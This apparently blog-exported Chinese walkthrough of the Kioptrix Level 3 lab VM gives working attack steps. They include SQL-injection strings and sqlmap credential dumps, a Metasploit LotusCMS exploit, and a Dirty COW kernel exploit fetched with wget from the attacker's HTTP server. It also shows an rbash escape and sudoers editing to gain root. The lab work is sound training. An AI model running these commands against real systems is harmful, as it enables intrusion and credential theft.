{"id":319,"date":"2024-01-27T17:13:47","date_gmt":"2024-01-27T09:13:47","guid":{"rendered":"http:\/\/162.14.82.114\/?p=319"},"modified":"2024-01-27T17:24:00","modified_gmt":"2024-01-27T09:24:00","slug":"vulnhub-kioptrix-level-3","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/319\/01\/27\/2024\/","title":{"rendered":"Vulnhub–KIOPTRIX LEVEL 3"},"content":{"rendered":"

KIOPTRIX: LEVEL 3<\/h1>\n

\"image-20240126163559667\"<\/div><\/p>\n

\u6311\u6218\u4e00\u4e0b\u8fd9\u4e2a\u9776\u573a\uff1a<\/p>\n

\u626b\u63cf\u4e00\u4e0b\uff1a<\/p>\n

\"image-20240126165501033\"<\/div><\/p>\n

\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n

\"image-20240126165554062\"<\/div><\/p>\n

\u5230\u5904\u70b9\u70b9\uff0c\u67e5\u770b\u4e00\u4e0b\u6d4f\u89c8\u5668\u63d2\u4ef6\uff0c\u770b\u770b\u914d\u7f6e\u4fe1\u606f\uff1a<\/p>\n

\"image-20240126165732766\"<\/div><\/p>\n

\u53ef\u4ee5\u770b\u5230\u662f\u4e00\u4e2a2.2.8\u7684Apache<\/code>\u3002\u7136\u540e\u53d1\u73b0\u4e86\u4e00\u4e2a\u7591\u4f3csql\u6ce8\u5165\u70b9<\/code>\uff1a<\/p>\n

\"image-20240126173022142\"<\/div><\/p>\n

\u5c1d\u8bd5sql\u6ce8\u5165<\/h2>\n

\u5c1d\u8bd5\u4e07\u80fd\u5bc6\u7801\uff1a<\/p>\n

admin' or 1=1 --+\nadmin' or '1'='1 <\/code><\/pre>\n
\u4e0d\u884c\uff0c\u8dd1\u4e00\u4e0bsqlmap<\/code>:<\/p>\n
\"image-20240126180344471\"<\/div><\/p>\n
\u4e0d\u884c\uff0c\u8dd1\u4e0d\u51fa\u6765\u3002\u3002\u3002\u4ed6\u7684\u610f\u601d\u5927\u6982\u662f\uff1a<\/p>\n
\u8fd9\u4e2a\u62a5\u9519\u4fe1\u606f\u8868\u793asqlmap\u5728\u6d4b\u8bd5\u6240\u6709\u53c2\u6570\u65f6\uff0c\u6ca1\u6709\u53d1\u73b0\u4efb\u4f55\u53ef\u4ee5\u6ce8\u5165\u7684\u53c2\u65701234\u3002\u8fd9\u53ef\u80fd\u662f\u7531\u4e8e\u4ee5\u4e0b\u539f\u56e0\uff1a\n\u6d4b\u8bd5\u7684\u53c2\u6570\u5b9e\u9645\u4e0a\u4e0d\u53ef\u6ce8\u5165\u3002\n\u6d4b\u8bd5\u7684\u7ea7\u522b\uff08--level\uff09\u548c\u98ce\u9669\uff08--risk\uff09\u53ef\u80fd\u4e0d\u591f\u9ad8\uff0c\u5bfc\u81f4\u67d0\u4e9b\u6f5c\u5728\u7684\u6ce8\u5165\u70b9\u6ca1\u6709\u88ab\u6d4b\u8bd5\u5230\u3002\u4f60\u53ef\u4ee5\u5c1d\u8bd5\u63d0\u9ad8\u8fd9\u4e24\u4e2a\u9009\u9879\u7684\u503c\u6765\u8fdb\u884c\u66f4\u591a\u7684\u6d4b\u8bd5\u3002\n\u5982\u679c\u4f60\u6000\u7591\u5b58\u5728\u67d0\u79cd\u4fdd\u62a4\u673a\u5236\uff08\u4f8b\u5982WAF\uff09\uff0c\u4f60\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528--tamper\u9009\u9879\uff08\u4f8b\u5982--tamper=space2comment\uff09\u6765\u7ed5\u8fc7\u8fd9\u4e9b\u4fdd\u62a4\u673a\u5236\u3002\n\u4f60\u4e5f\u53ef\u4ee5\u5c1d\u8bd5\u5207\u6362--random-agent\uff0c\u8fd9\u53ef\u80fd\u6709\u52a9\u4e8e\u7ed5\u8fc7\u67d0\u4e9b\u57fa\u4e8eUser-Agent\u7684\u4fdd\u62a4\u673a\u5236<\/code><\/pre>\n
\u8fd9\u662f\u521d\u7ea7\u9776\u573a\uff0c\u611f\u89c9\u5e94\u8be5\u4e0d\u662f\u8fd9\u4e2a\u5730\u65b9\u60f3\u8ba9\u6211\u4eec\u7a81\u7834\u3002<\/p>\n
\u7aef\u53e3\u626b\u63cf<\/h2>\n
nmap -sn 192.168.244.1\/24 --min-rate 8000 -r<\/code><\/pre>\n
\"image-20240126170106220\"<\/div><\/p>\n
\u8fd9\u662f\u63a2\u6d4b\u9776\u573a\u7684\u5b58\u6d3b\u6027\u7684\uff0c\u6bd4\u8f83\u5feb\uff0c\u7136\u540e\u76d1\u6d4b\u4e00\u4e0b\u76f8\u5173\u4fe1\u606f\uff1a<\/p>\n
nmap -A 192.168.244.139 -oA scan_result\n# \u5728Nmap\u547d\u4ee4\u4e2d\uff0c-oA\u9009\u9879\u7528\u4e8e\u540c\u65f6\u4fdd\u5b58\u626b\u63cf\u7ed3\u679c\u5230\u4e09\u79cd\u4e0d\u540c\u7684\u6587\u4ef6\u683c\u5f0f\uff1a\u666e\u901a\u6587\u672c\u3001XML\u548cgrepable\n# 22\/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)\n# 80\/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP\/5.2.4-2ubuntu5.6 with Suhosin-Patch)\n# Running: Linux 2.6.X\n# OS CPE: cpe:\/o:linux:linux_kernel:2.6\n# OS details: Linux 2.6.9 - 2.6.33\n# Network Distance: 1 hop\n# Service Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u8fd8\u53ef\u4ee5\u4f7f\u7528rustscan<\/code>\u8fdb\u884c\u626b\u63cf\uff0c\u5dee\u751f\u6587\u5177\u591a\uff0c\u8bf7\u5bb9\u6211\u518d\u8bd5\u8bd5\uff1a<\/p>\n
rustscan -a 192.168.244.139 -- -sV -oA scan<\/code><\/pre>\n
\"image-20240126215504623\"<\/div><\/p>\n
\u672c\u8d28\u4e0a\u5176\u5b9e\u662f\u4e00\u6837\u7684\uff0c\u76d1\u6d4b\u4ee5\u540e\u53d1\u73b0\u5f00\u653e\u4e86\u4e00\u4e2a22<\/code>\u7aef\u53e3\uff0c\u4e00\u4e2a80<\/code>\u7aef\u53e3\uff0c\u610f\u5473\u7740\u6211\u4eec\u53ef\u4ee5\u8fdb\u884c ssh \u8fde\u63a5\u3002<\/p>\n
\u76ee\u5f55\u626b\u63cf<\/h2>\n
\u8001\u6837\u5b50\uff0c\u5dee\u751f\u6587\u5177\u591a\uff0c\u8fd9\u91cc\u53ef\u4ee5\u4f7f\u7528\u5230\u7684\u5de5\u5177\u5927\u6982\u6709gobuster<\/code>\uff0cdirb<\/code>\uff0cdirsearch<\/code>\uff0cNikto<\/code>\u8fd8\u6709feroxbuster<\/code>\uff0c\u6211\u4eec\u5148\u4f7f\u7528\u4e00\u4e0b\u6700\u540e\u4e00\u4e2arust\u505a\u51fa\u6765\u7684\u5de5\u5177\u3002<\/p>\n
feroxbuster -u http:\/\/192.168.244.139\/ -x* -w \/usr\/share\/wordlists\/seclists\/Discovery\/Web-Content\/directory-list-2.3-medium.txt -t 200 -d 2 -f -C 404 --no-state -o feroxbuster.txt\n# -u, --url <URL>\uff1a\u8981\u626b\u63cf\u7684\u76ee\u6807URL12\u3002\n# -x, --extensions <FILE_EXTENSION>...\uff1a\u8981\u641c\u7d22\u7684\u6587\u4ef6\u6269\u5c55\u540d\uff0c\u4f8b\u5982php\u548chtml\u3002\n# -w, --wordlist <WORDLIST>\uff1a\u7528\u4e8e\u626b\u63cf\u7684\u5b57\u5178\u6587\u4ef6\u7684\u8def\u5f84\u3002\n# -t, --threads <THREADS>\uff1a\u5e76\u53d1\u7ebf\u7a0b\u6570\uff0c\u6b64\u5904\u4e3a200\u3002\n# -d, --depth <DEPTH>\uff1a\u626b\u63cf\u7684\u76ee\u5f55\u6df1\u5ea6\uff0c\u6b64\u5904\u4e3a2\u3002\n# -f, --follow-redirects\uff1a\u8ddf\u968f\u91cd\u5b9a\u5411\u3002\n# -C, --status-codes <STATUS_CODE>...\uff1a\u8981\u62a5\u544a\u7684HTTP\u72b6\u6001\u7801\uff0c\u6b64\u5904\u4e3a404\u3002\n# --no-state\uff1a\u4e0d\u4fdd\u5b58\u626b\u63cf\u72b6\u6001\u3002\n# -o, --output <OUTPUT>\uff1a\u8f93\u51fa\u6587\u4ef6\u7684\u8def\u5f84\uff0c\u6b64\u5904\u4e3aferoxbuster.txt\u3002<\/code><\/pre>\n
\u518d\u5c1d\u8bd5\u4e00\u4e0bdirsearch<\/code>\uff1a<\/p>\n
dirsearch -u http:\/\/192.168.244.139\/ -e* -x 404,403 <\/code><\/pre>\n
\"image-20240127101715532\"<\/div><\/p>\n
\u627e\u5230\u4e86\u4e00\u4e9bicons<\/code>\uff0cgallery<\/code>\uff0ccache<\/code>\u7b49\u6587\u4ef6\uff0c\u800c\u4e14\u5728 dirsearch \u626b\u63cf\u7ed3\u679c\u4e2d\u53d1\u73b0\u4e86phpmyadmin<\/code>\u8fd9\u4e2a\u76ee\u5f55\uff0c\u8fd9\u610f\u5473\u7740\u6211\u4eec\u53ef\u80fd\u53ef\u4ee5\u8fdb\u884c\u5229\u7528\u3002<\/p>\n
\u8e29\u70b9<\/h2>\n
\u53d1\u73b0\u4e86\u4e00\u4e2a\u767b\u5f55\u9875\u9762\uff1a<\/p>\n
\"image-20240127102247501\"<\/div><\/p>\n
\u770b\u6765\u6211\u4eec\u7684\u76ee\u7684\u5c31\u660e\u786e\u4e86\uff0c\u5bfb\u627e\u8d26\u53f7\u5bc6\u7801\u4ece\u8fd9\u91cc\u8fdb\u5165\uff0c\u67e5\u770b\u4e00\u4e0b\u5176\u4ed6\u7f51\u7ad9\uff0c\u770b\u770b\u6709\u65e0\u6ce8\u5165\u70b9\uff1a<\/p>\n
\"image-20240127103144934\"<\/div><\/p>\n
\u5728\u8fd9\u91cc\u8fdb\u884c\u8bbf\u95ee\u7684\u65f6\u5019\u53d1\u751f\u4e86\u8df3\u8f6c\uff0c\u5c1d\u8bd5\u5c06\u8df3\u8f6c\u7684\u5730\u5740\u6362\u4e3aip\uff1a<\/p>\n
http:\/\/kioptrix3.com\/gallery\/p.php\/5     # \u53d1\u751f\u8df3\u8f6c\nhttp:\/\/192.168.244.139\/gallery\/p.php\/5   # \u6b63\u5e38\u663e\u793a<\/code><\/pre>\n
\"image-20240127103404728\"<\/div><\/p>\n
\u53d1\u73b0\u53ef\u4ee5\u6b63\u5e38\u8bbf\u95ee\uff0c\u4fee\u6539\u4e00\u4e0bhost\u6587\u4ef6\uff1a<\/p>\n
vim \/etc\/hosts\n# 127.0.0.1       localhost\n# 127.0.1.1       kali\n# 192.168.144.139 kioptrix3.com\n# ::1             localhost ip6-localhost ip6-loopback\n# ff02::1         ip6-allnodes\n# ff02::2         ip6-allrouters<\/code><\/pre>\n
\u7136\u540e\u8fdb\u884c\u8bbf\u95ee\uff0c\u8bbf\u95ee\u5f02\u5e38\uff0c\u6e05\u7406\u4e00\u4e0b\u7f13\u5b58\uff1a<\/p>\n
\"image-20240127104115367\"<\/div><\/p>\n
\u7136\u540e\u518d\u6b21\u6253\u5f00\uff0c\u8fd8\u662f\u4e0d\u884c\uff0c\u5c1d\u8bd5\u91cd\u542f\u6d4f\u89c8\u5668\uff0c\u5237\u65b0dns\u7f13\u5b58\uff1a<\/p>\n
sudo \/etc\/init.d\/networking restart \n# service networking restart<\/code><\/pre>\n
\u53d1\u73b0\u8fd8\u751f\u6548\uff0cping\u4e00\u4e0b\u53d1\u73b0\u5730\u5740\u662f\u5bf9\u7684\uff0c\u4f46\u662f\u4e22\u5305\u767e\u5206\u767e\u3002\u3002\u3002\u91cd\u542f\u4e00\u4e0bkali\uff1a<\/p>\n
\"image-20240127111004218\"<\/div><\/p>\n
\u8fd8\u662f\u4e0d\u884c\u3002\u3002\u3002\u3002\u5c1d\u8bd5\u4fee\u6539\/etc\/hosts.conf<\/code>\uff1a<\/p>\n
multi on -->   order hosts,bind<\/code><\/pre>\n
\"image-20240127112327119\"<\/div><\/p>\n
\u518d\u6b21\u6253\u5f00\uff0c\u6211\u64e6\u8fd8\u662f\u4e0d\u884c\uff0c\u7ecf\u8fc7\u6211\u591a\u756a\u5c1d\u8bd5\uff0c\u53d1\u73b0\u8fd8\u662f\u4e4b\u524d\u6253\u7684ip\u5730\u5740\u4e0d\u5bf9\u3002\u3002\u3002\u3002\u592a\u7c97\u5fc3\u4e86\u3002\u3002\u3002\u3002<\/p>\n
\"image-20240127112652710\"<\/div><\/p>\n
\u4fee\u6539\u4ee5\u540e\u6253\u5f00\uff1a<\/p>\n
\"image-20240127112748607\"<\/div><\/p>\n
\u6b63\u5e38\u6253\u5f00\u4e86\uff0c\u8fd9\u53ef\u771f\u662f\u4e00\u4e2a\u5927\u4e4c\u9f99\u3002\u3002\u3002\u3002<\/p>\n
\u5230\u5904\u7ffb\u7ffb\uff0c\u53d1\u73b0\u4e86\u4e00\u4e2a\u4f20get\u53c2\u6570\u7684\u9875\u9762\uff1a<\/p>\n
\"image-20240127113100700\"<\/div><\/p>\n
\u8bd5\u63a2\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240127113134337\"<\/div><\/p>\n
\u627e\u5230\u4e00\u4e2a\u6ce8\u5165\u70b9\uff0csqlmap\u8bd5\u8bd5\uff1a<\/p>\n
sqlmap -u http:\/\/kioptrix3.com\/gallery\/gallery.php?id=1<\/code><\/pre>\n
\"image-20240127113436671\"<\/div><\/p>\n
\u7ee7\u7eed\u67e5\u770b\u4e00\u4e0b\u6570\u636e\u5e93<\/p>\n
sqlmap -u http:\/\/kioptrix3.com\/gallery\/gallery.php?id=1 --dbs<\/code><\/pre>\n
\"image-20240127113647827\"<\/div><\/p>\n
\u67e5\u770b\u4e00\u4e0b\u6570\u636e\u5e93\u4e2d\u7684\u8868\u6709\u4e9b\u5565\uff1a<\/p>\n
sqlmap -u http:\/\/kioptrix3.com\/gallery\/gallery.php?id=1 --tables -D gallery\nsqlmap -u http:\/\/kioptrix3.com\/gallery\/gallery.php?id=1 --tables -D information_schema\nsqlmap -u http:\/\/kioptrix3.com\/gallery\/gallery.php?id=1 --tables -D mysql<\/code><\/pre>\n
<\/div>\n
<\/div>\n
<\/div>\n
\u63a5\u7740\u5f80\u4e0b\u67e5\u8be2\uff1a<\/p>\n
sqlmap -u http:\/\/kioptrix3.com\/gallery\/gallery.php?id=1 --columns -D gallery<\/code><\/pre>\n
\"image-20240127115401561\"<\/div>
\n
\"image-20240127115416368\"<\/div><\/p>\n
\u7136\u540e\u8fdb\u4e00\u6b65\u67e5\u770b\u4e00\u4e0b\u76f8\u5173\u4fe1\u606f\uff1a<\/p>\n
sqlmap -u http:\/\/kioptrix3.com\/gallery\/gallery.php?id=1 \u2013dump -D gallery -T dev_accounts -C \u201cusername,password\u201d<\/code><\/pre>\n
\"image-20240127115654542\"<\/div><\/p>\n
sqlmap -u http:\/\/kioptrix3.com\/gallery\/gallery.php?id=1 \u2013dump -D gallery -T gallarific_users -C \u201cusername,password\u201d<\/code><\/pre>\n
\"image-20240127115753785\"<\/div><\/p>\n
\u4f7f\u7528\u4e0a\u9762\u4e24\u4e2a\u8d26\u53f7dreg<\/code>\u548cloneferret<\/code>\u53ef\u4ee5\u8fdb\u884cssh\u8fdc\u7a0b\u8fde\u63a5\u3002<\/p>\n
\n
\u8fd9\u91cc\u76f4\u63a5 ssh  username@IP\u4f1a\u62a5\u9519<\/p>\n
\u62a5\u9519\u662f\u56e0\u4e3aOpenSSH 7.0\u4ee5\u540e\u7684\u7248\u672c\u4e0d\u518d\u652f\u6301ssh-dss (DSA)\u7b97\u6cd5<\/p>\n<\/blockquote>\n
ssh -oHostKeyAlgorithms=+ssh-dss dreg@192.168.244.139\nssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.244.139\n# ssh\uff1a\u8fd9\u662fSecure Shell\u7684\u7f29\u5199\uff0c\u662f\u4e00\u79cd\u7f51\u7edc\u534f\u8bae\uff0c\u7528\u4e8e\u5728\u4e0d\u5b89\u5168\u7684\u7f51\u7edc\u4e2d\u63d0\u4f9b\u5b89\u5168\u7684\u8fdc\u7a0b\u767b\u5f55\u548c\u5176\u4ed6\u5b89\u5168\u7f51\u7edc\u670d\u52a1\u3002\n# -oHostKeyAlgorithms=+ssh-dss\uff1a\u8fd9\u662f\u4e00\u4e2a\u9009\u9879\uff0c\u7528\u4e8e\u6307\u5b9a\u5728\u8fdb\u884c\u5bc6\u94a5\u4ea4\u6362\u65f6\u4f7f\u7528\u7684\u4e3b\u673a\u5bc6\u94a5\u7b97\u6cd5\u3002\n# \u5728\u8fd9\u91cc\uff0c+ssh-dss\u8868\u793a\u6dfb\u52a0ssh-dss\u7b97\u6cd5\u5230\u9ed8\u8ba4\u7684\u4e3b\u673a\u5bc6\u94a5\u7b97\u6cd5\u5217\u8868\u4e2d\u3002<\/code><\/pre>\n
\u83b7\u53d6\u666e\u901a\u7528\u6237\u6743\u9650\u3002<\/p>\n
\u5c1d\u8bd5CMS\u6f0f\u6d1e<\/h2>\n
Lotus CMS \u6f0f\u6d1e\u5229\u7528<\/h3>\n
\u6253\u5f00login\u7f51\u9875\u7684\u65f6\u5019\u53ef\u53d1\u73b0\u662f\u91c7\u7528 Lotus CMS \u7684\uff1a<\/p>\n
\"image-20240126233322383\"<\/div><\/p>\n
\u5c1d\u8bd5\u5bfb\u627e\u4e00\u4e0b\u76f8\u5173\u6f0f\u6d1e\uff1a\uff08\u8fd9\u91cc\u76f4\u63a5\u4f7f\u7528metasploit\u662f\u56e0\u4e3a\u6211\u4e4b\u524d\u5df2\u7ecf\u5728searchsploit\u91cc\u627e\u5230\u4e86\u8fd9\u4e2a\u5229\u7528\u70b9\u4e86\uff09<\/p>\n
\"image-20240127164427260\"<\/div><\/p>\n
\u5229\u7528\u5931\u8d25\uff1a<\/p>\n
\"image-20240127164500015\"<\/div><\/p>\n
\u53ef\u80fd\u662f\u56e0\u4e3a\u8fd9\u4e2apayload\u539f\u56e0\uff0c\u591a\u8bd5\u51e0\u4e2a\uff0c``\u662f\u53ef\u4ee5\u7684\u3002<\/p>\n
\"image-20240127170953311\"<\/div><\/p>\n
\u603b\u7684\u6d41\u7a0b\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n
msfconsole\nsearch lotuscms\nuse exploit\/multi\/http\/lcms_php_exec\n# No payload configured, defaulting to php\/meterpreter\/reverse_tcp\nshow options\nset RHOSTS 192.168.244.140\nset URI "\/"\nshow payloads \nset payload payload\/generic\/shell_bind_tcp\nrun # exploit<\/code><\/pre>\n
\u9009\u51fa\u5408\u9002\u7684\uff0c\u518d\u6b21\u8fdb\u884c\u5229\u7528\uff1a<\/p>\n
\"image-20240127170238380\"<\/div><\/p>\n
\u8fd9\u91cc\u53c2\u8003\u4e86\u8fd9\u4f4d\u5e08\u5085\u7684\u89e3\u7b54\uff1ahttps:\/\/zhuanlan.zhihu.com\/p\/654675099<\/a><\/p>\n
\u8fd9\u91cc\u6211\u4e0d\u662f\u5f88\u6e05\u695a\u8fd9\u4e2aURI\u53c2\u6570\u8bbe\u7f6e\u662f\u5e72\u5565\u7684\uff0c\u5c1d\u8bd5\u53bb\u9664\uff1a<\/p>\n
\"image-20240127171134660\"<\/div><\/p>\n
\u4e5f\u53ef\u4ee5\u6b63\u5e38\u5229\u7528\uff0c\u56de\u5934\u6709\u65f6\u95f4\u518d\u53bb\u5b66\u4e60\u4e00\u4e0b\uff01<\/p>\n
\u63d0\u6743<\/h2>\n
\u67e5\u627e\u4e00\u4e0b\u76f8\u5173\u6587\u4ef6\uff0c\u770b\u770b\u6709\u65e0\u6211\u4eec\u9700\u8981\u7684\uff1a<\/p>\n
\"image-20240127134710816\"<\/div><\/p>\n
\u627e\u5230\u4e86\u6570\u636e\u5e93\u7684\u7528\u6237\u540d\u5bc6\u7801\uff1a<\/p>\n
\"image-20240127134729841\"<\/div><\/p>\n
\u6253\u5f00\u770b\u4e00\u4e0b\uff0c\u53ef\u4ee5\u627e\u5230\u6211\u4eec\u4e4b\u524d\u627e\u5230\u7684\uff1a<\/p>\n
\"image-20240127135351182\"<\/div><\/p>\n
\u5185\u6838\u63d0\u6743<\/h2>\n
\u67e5\u770b\u4e00\u4e0b\u5185\u6838\u7248\u672c\u548c\u4fe1\u606f\uff1a<\/p>\n
uname -a\n# Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU\/Linux\nlsb_release -a\n# No LSB modules are available.\n# Distributor ID: Ubuntu\n# Description:    Ubuntu 8.04.3 LTS\n# Release:        8.04\n# Codename:       hardy\ncat \/proc\/version\n# Linux version 2.6.24-24-server (buildd@palmer) (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) #1 SMP Tue Jul 7 20:21:17 UTC 2009<\/code><\/pre>\n
\u67e5\u5230\u5185\u6838\u7684\u7248\u672c\u4e86\uff0c\u641c\u7d22\u4e00\u4e0b\u76f8\u5173\u6f0f\u6d1e\uff1a<\/p>\n
\"image-20240127140832046\"<\/div><\/p>\n
\u5c1d\u8bd5\u4e00\u4e0bLinux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (\/etc\/passwd Method)                                                 | linux\/local\/40839.c<\/code>\u8fd9\u4e2a\u6f0f\u6d1e\uff1a<\/p>\n
\u5728\u672c\u5730\u6253\u5f00\u4e00\u4e0bpython\u7684\u7b80\u6613http\u670d\u52a1\uff1a<\/p>\n
# local\npython3 -m http.server 1234\n# remote\nwget http:\/\/192.168.244.133:1234\/40839.c\ngcc -pthread 40839.c -o 40839 -lcrypt\n.\/40839 password\n# \u65b0\u7528\u6237\u5bc6\u7801\uff0c\u8fd9\u91cc\u4f7f\u7528\u7684\u662fMast3r\uff0c\u5176\u5b9e\u90fd\u884c<\/code><\/pre>\n
\"image-20240127141940821\"<\/div><\/p>\n
\u83b7\u53d6flag\uff1a<\/p>\n
ls -lah \/root\/ \ncat \/root\/Congrats.txt\n# \nGood for you for getting here.\nRegardless of the matter (staying within the spirit of the game of course)\nyou got here, congratulations are in order. Wasn't that bad now was it.\n\nWent in a different direction with this VM. Exploit based challenges are\nnice. Helps workout that information gathering part, but sometimes we\nneed to get our hands dirty in other things as well.\nAgain, these VMs are beginner and not intented for everyone. \nDifficulty is relative, keep that in mind.\n\nThe object is to learn, do some research and have a little (legal)\nfun in the process.\n\nI hope you enjoyed this third challenge.\n\nSteven McElrea\naka loneferret\nhttp:\/\/www.kioptrix.com\n\nCredit needs to be given to the creators of the gallery webapp and CMS used\nfor the building of the Kioptrix VM3 site.\n\nMain page CMS: \nhttp:\/\/www.lotuscms.org\n\nGallery application: \nGallarific 2.1 - Free Version released October 10, 2009\nhttp:\/\/www.gallarific.com\nVulnerable version of this application can be downloaded\nfrom the Exploit-DB website:\nhttp:\/\/www.exploit-db.com\/exploits\/15891\/\n\nThe HT Editor can be found here:\nhttp:\/\/hte.sourceforge.net\/downloads.html\nAnd the vulnerable version on Exploit-DB here:\nhttp:\/\/www.exploit-db.com\/exploits\/17083\/\nAlso, all pictures were taken from Google Images, so being part of the\npublic domain I used them.<\/code><\/pre>\n
SUID\u63d0\u6743<\/h2>\n
\u5148\u67e5\u627e\u4e00\u4e0b\u770b\u770b\u662f\u5426\u53ef\u4ee5SUID\u63d0\u6743\uff1a<\/p>\n
find \/ -perm -u=s -type f 2 > \/dev\/null\n# find \/ -user root -perm -4000 -print 2>\/dev\/null\n# find \/ -user root -perm -4000 -exec ls -ldb {} <\/code><\/pre>\n
\n
\u4f1a\u62a5\u9519\uff1a-rbash: \/dev\/null: restricted: cannot redirect output<\/code><\/p>\n
\u8fd9\u662f\u56e0\u4e3a RBASH \u662f\u4e00\u79cd\u7279\u6b8a\u7684 shell\uff0c\u5b83\u9650\u5236\u4e86\u7528\u6237\u7684\u4e00\u4e9b\u64cd\u4f5c\u548c\u6743\u9650<\/p>\n<\/blockquote>\n
\u5c1d\u8bd5\u7ed5\u8fc7\u4e00\u4e0b\uff0c\u76f8\u5173\u6587\u7ae0\u53ef\u4ee5\u53c2\u8003\uff1aLinux\u63d0\u6743\u4e4brbash\u7ed5\u8fc7<\/a><\/p>\n
rbash$ ftp\nftp> !\/bin\/bash<\/code><\/pre>\n
\u518d\u6b21\u67e5\u8be2\u4e00\u4e0b\u76f8\u5173\u7684SUID\u6743\u9650\u6587\u4ef6\uff1a<\/p>\n
\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/lib\/apache2\/suexec\n\/usr\/lib\/pt_chown\n\/usr\/bin\/arping\n\/usr\/bin\/mtr\n\/usr\/bin\/newgrp\n\/usr\/bin\/chfn\n\/usr\/bin\/gpasswd\n\/usr\/bin\/sudo\n\/usr\/bin\/at\n\/usr\/bin\/sudoedit\n\/usr\/bin\/chsh\n\/usr\/bin\/passwd\n\/usr\/bin\/traceroute6.iputils\n\/usr\/local\/bin\/ht\n\/usr\/sbin\/pppd\n\/usr\/sbin\/uuidd\n\/lib\/dhcp3-client\/call-dhclient-script\n\/bin\/fusermount\n\/bin\/ping\n\/bin\/mount\n\/bin\/umount\n\/bin\/ping6\n\/bin\/su<\/code><\/pre>\n
\u8fd9\u91cc\u6ca1\u6709\u770b\u5230\u5e38\u7528\u7684\u63d0\u6743\u547d\u4ee4\uff0c\u539f\u7406\u53ef\u4ee5\u53c2\u8003\u8fd9\u4f4d\u5e08\u5085\u7684\u6587\u7ae0\uff1a\u8c08\u4e00\u8c08Linux\u4e0esuid\u63d0\u6743<\/a>\uff0c\u4f46\u662f\u6362\u4e86\u4e00\u4e2a\u7528\u6237\u767b\u5f55\u4ee5\u540e\u6709\u4e2a\u6587\u4ef6\u4f1a\u63d0\u793aht\u53ef\u80fd\u53ef\u4ee5\u5229\u7528\uff0c\u5c31\u662f\/usr\/local\/bin\/ht<\/code>\uff0c\u5c1d\u8bd5\u641c\u7d22\u4e00\u4e0b\uff0c\u627e\u5230\u4e86\u4e00\u4e2a\u5e08\u5085\u7684\u603b\u7ed3\uff1aLinux\u901a\u8fc7\u7b2c\u4e09\u65b9\u5e94\u7528\u63d0\u6743\u5b9e\u6218\u603b\u7ed3<\/a><\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.244.139\nloneferret@192.168.244.139's password: \nLinux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686\n\nThe programs included with the Ubuntu system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nUbuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by\napplicable law.\n\nTo access official Ubuntu documentation, please visit:\nhttp:\/\/help.ubuntu.com\/\nLast login: Sat Apr 16 08:51:58 2011 from 192.168.1.106\nloneferret@Kioptrix3:~$ ls\nchecksec.sh  CompanyPolicy.README\nloneferret@Kioptrix3:~$ cat CompanyPolicy.README \nHello new employee,\nIt is company policy here to use our newly installed software for editing, creating and viewing files.\nPlease use the command 'sudo ht'.\nFailure to do so will result in you immediate termination.\n\nDG\nCEO<\/code><\/pre>\n
\u7136\u540e\u6211\u4eec\u5c1d\u8bd5\u8fd0\u884csudo ht<\/code>\uff0c\u53d1\u73b0\u62a5\u9519\uff1a<\/p>\n
\"image-20240127143844572\"<\/div><\/p>\n
\u4e0a\u7f51\u67e5\u627e\u76f8\u5173\u8d44\u6599\uff0c\u731c\u6d4b\u662f\u7531\u4e8e\u4e4b\u524d\u7684\u5185\u6838\u63d0\u6743\u811a\u672c\u5c06root\u540d\u5b57\u7ed9\u8986\u76d6\u4e86\u3002\u3002\u3002\u91cd\u65b0\u4e0b\u8f7d\u4e00\u4e0b\u9776\u573a\uff1a<\/p>\n
\"image-20240127145145148\"<\/div><\/p>\n
\u6210\u529f\u4e86\uff01<\/p>\n
sudo -l # \u67e5\u770b\u6743\u9650\nexport TERM = xterm\nsudo ht<\/code><\/pre>\n
\"image-20240127145339345\"<\/div><\/p>\n
\u6309F3<\/code>\u6253\u5f00\uff1a<\/p>\n
\"image-20240127145427375\"<\/div><\/p>\n
\u8f93\u5165\/etc\/sudoers<\/code>:<\/p>\n
\"image-20240127145912303\"<\/div><\/p>\n
\u8fdb\u5165\u4ee5\u540e\u4fee\u6539\u4e3a\uff1a<\/p>\n
\"image-20240127150100766\"<\/div><\/p>\n
\u8fd9\u6837\u65e0\u9700\u5bc6\u7801\u5373\u53ef\u5b8c\u6210\u6240\u6709\u64cd\u4f5c\uff0c\u518d\u6309F2<\/code>\u4fdd\u5b58\uff0cctrl+z<\/code>\u9000\u51fa\u3002<\/p>\n
\"image-20240127150326239\"<\/div><\/p>\n
\u62ff\u5230root\u3002<\/p>\n
\u4e00\u4e9b\u5c1d\u8bd5<\/h2>\n
\u5728\u770b\u5176\u4ed6\u5e08\u5085\u89e3\u51b3\u529e\u6cd5\u7684\u8fc7\u7a0b\u4e2d\u6211\u53d1\u73b0\u4e86\u4e00\u4e9b\u4e0d\u4e00\u6837\u7684\u601d\u8def\uff0c\u5728\u6b64\u8fdb\u884c\u8bb0\u5f55\uff1a<\/p>\n
\u7206\u7834<\/h3>\n
https:\/\/www.c0dedead.io\/kioptrix-level-3-walkthrough\/<\/a><\/p>\n
\u8fd9\u4e2a\u5e08\u5085\u53d1\u73b0\u4e86\uff0c\u65b0\u52a0\u5165\u6210\u5458\u7684\u59d3\u540d\uff0c\u4e8e\u662f\u8fdb\u884c\u4e86\u7206\u7834\uff1a<\/p>\n
\"image-20240127151359965\"<\/div><\/p>\n
